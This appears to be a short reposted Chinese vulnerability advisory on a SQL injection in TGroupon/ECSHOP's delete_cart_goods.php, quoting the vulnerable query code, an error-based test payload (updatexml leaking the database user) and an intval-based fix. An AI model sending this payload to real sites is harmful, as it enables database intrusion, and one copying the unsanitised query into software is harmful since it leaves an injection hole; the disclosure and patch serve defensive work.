table( cart..."/>
您好,登錄后才能下訂單哦!
TGroupon其實(shí)就是ECSHOP修改的。
漏洞文件:
delete_cart_goods.php
if($_POST['id']) { $sql = 'DELETE FROM '.$GLOBALS['ecs']->table('cart')." WHERE rec_id=".$_POST['id']; $GLOBALS['db']->query($sql); }
漏洞測(cè)試:
http://www.baidu.com/delete_cart_goods.php
POST:
id=1%20or%20updatexml(1,concat(0x7e,user(),0x7e),0)
修復(fù):第一個(gè) IF 代碼語(yǔ)句
if($_POST['id']) { $sql = 'DELETE FROM '.$GLOBALS['ecs']->table('cart')." WHERE rec_id=".$_POST['id']; $GLOBALS['db']->query($sql); }
換成如下代碼:
if($_POST['id']) { $id=intval($_POST['id']);//增加轉(zhuǎn)換類型 By:i2ty,這樣可以防止傳入其他的東西進(jìn)來(lái) if($id==0){ exit;//當(dāng)錯(cuò)誤時(shí)退出。 }else{ $sql = 'DELETE FROM '.$GLOBALS['ecs']->table('cart')." WHERE rec_id=".$id; $GLOBALS['db']->query($sql); } }
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。